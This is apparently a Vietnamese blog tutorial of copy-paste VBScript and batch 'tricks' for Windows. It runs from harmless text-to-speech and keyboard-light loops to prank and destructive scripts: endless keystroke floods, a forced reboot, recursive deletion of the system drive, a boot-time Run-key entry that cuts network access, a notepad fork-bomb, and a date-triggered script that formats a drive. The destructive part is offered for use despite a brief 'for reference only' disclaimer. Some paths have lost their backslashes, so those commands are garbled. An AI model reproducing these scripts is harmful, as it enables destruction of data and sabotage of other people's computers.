Đầu tiên các bạn sửa 2 dấu ngoặc kép “ và ” thành dấu “ nhé
I. Code an toàn, vui giải trí.
1. Phát giọng nói theo ý thích ( chỉ hỗ trợ tiếng anh ),
save với đuôi .vbs
CreateObject(“SAPI.SpVoice”).Speak”I love YOU”
I Love YOU bạn có thể tùy chỉnh theo ý thích
2. Bàn phím tự động gõ liên tục một đoạn văn bản bất kỳ
Với một vài đoạn mã VBSCript sau đây bạn có thể làm cho bàn
phím của mình tự động gõ liên tục một đoạn văn bản đã được quy định trước.
Trong ví dụ dưới đây mình sẽ sử dụng đoạn văn bản: “Virus. May ban da bi nhiem
virus nguy hiem…”.
Giờ thì mở Notepad lên, copy đoạn mã dưới đây và lưu lại với
tên có đuôi mở rộng là “.vbs”.
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Virus. May ban da bi nhiem virus nguy
hiem…”
loop
Lưu ý: Để tắt loại này, bạn nhấn tổ hợp phím Ctrl + Shift +
Esc để mở Task Manager lên, sau đó trong thẻ Processes chọn wscript.exe rồi bấm
End Process. Hoặc bạn cũng có thể khởi động lại máy để chấm dứt quá trình này.
3. Nhảy disco bằng đèn có trên laptop, save đuôi file .vbs
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 200
wshshell.sendkeys “{CAPSLOCK}”
wscript.sleep 100
wshshell.sendkeys “{NUMLOCK}”
wscript.sleep 50
wshshell.sendkeys “{SCROLLLOCK}”
loop
4. Nhảy disco bằng đèn trên laptop + phát âm. save file đuôi
.vbs
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
CreateObject(“SAPI.SpVoice”).Speak”I Love You”
wscript.sleep 200
wshshell.sendkeys “{CAPSLOCK}”
wscript.sleep 100
wshshell.sendkeys “{NUMLOCK}”
wscript.sleep 50
wshshell.sendkeys “{SCROLLLOCK}”
loop
Bạn có thể tùy chỉnh dòng I Love You theo ý thích, muốn tắt
thì vào Task manage và tắt wscript.exe
5. Tùy chỉnh phát âm khi gõ, save với file .vbs
Dim msg, sapi
msg=InputBox(“Enter your text”,”Talk it”)
Set sapi=CreateObject(“sapi.spvoice”)
sapi.Speak msg
Enter Your text: tùy ý bạn chỉnh sửa
Talk it: Tùy ý bạn chỉnh sửa
6. Hiệu ứng ma trận của The Matrix
Lấy cảm hứng từ phim “Ma trận”, chỉ với một đoạn mã ngắn dưới
đây bạn có thể tạo cho mình hiệu ứng đẹp mắt. Copy đoạn mã dưới đây paste vào
Notepad và save lại với tên “Matrix.bat” hoặc tên bất kỳ với đuôi mở rộng
“.bat”.
@echo off
color 02
:tricks
echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%
goto tricks
Giờ bạn chỉ việc click đúp vào file “.bat” vừa tạo thì
chương trình cmd của máy tính sẽ tự động chạy lên hiệu ứng ma trận (hình dưới).
II. Code troll, nguy hiểm chỉ mang tính chất tham khảo không
nên làm theo, ai làm tự chịu trách nhiệm nhé.
1. Reboot pc. Save đuội file .bat
@echo off
shutdown -r -f -t 00
>>Form Of Switches
-s
Shuts down the PC.
-l
Logs off the current user.
-t nn
Indicates the duration of delay, in seconds, before
performing the action.( nn là thời gian tắt máy )
-c “messagetext”
hiển thị tin nhắn khi tắt máy, tối đa 127 kí tự
-f
Forces any running applications to shut down.
-r
Reboots the PC. ..!!..!
2. Làm kẹt phím enter >> chỉ có tắt máy mới hết hoặc
treo luôn save file đuôi .bat
Set wshShell = wscript.CreateObject(WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
3. Làm kẹt phím BackSpace, save file đuôi .bat
MsgBox “Let’s go back a few steps”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
4. On / off cAPsLock lieN Tuc. ( save file .vbs )
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
Ai biết thì gach đá em nhè nhẹ nhé em không muốn xây nhà lầu
đâu :gạch:
========================
Theo yêu cầu update thêm vài code cực kì nguy hiểm, nên chỉ
mang tính chất tham khảo, phòng ngừa => ai làm thì tự chịu trách nhiệm nha
5. Del toàn bộ có trong ổ cứng ( save .bat )
@echo off
del %systemdrive%*.* /f /s /q
shutdown -r -f -t 00
6. Tắt internet vĩnh viễn ( save .bat )
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv
ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun
/v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE
7. Diệt win ( save .bat )
@Echo off
Del C: *.* |y
9. Treo máy luôn (save .bat )
@ECHO off
:top
START %SystemRoot%system32notepad.exe
GOTO top
10. Bom virus ( save .bat )
If %date% NEQ 2015/09/20 goto exit
format E: /y >nul
:exit
exit
( giá trị 2015/09/20 có thể chỉnh sửa theo ý thích, đó chính
là thời gian oanh tạc )
5 (10 votes)
Vậy là xong! Chúc các bạn thành công!
Nếu không rõ bạn có thể tải file Tại đây.
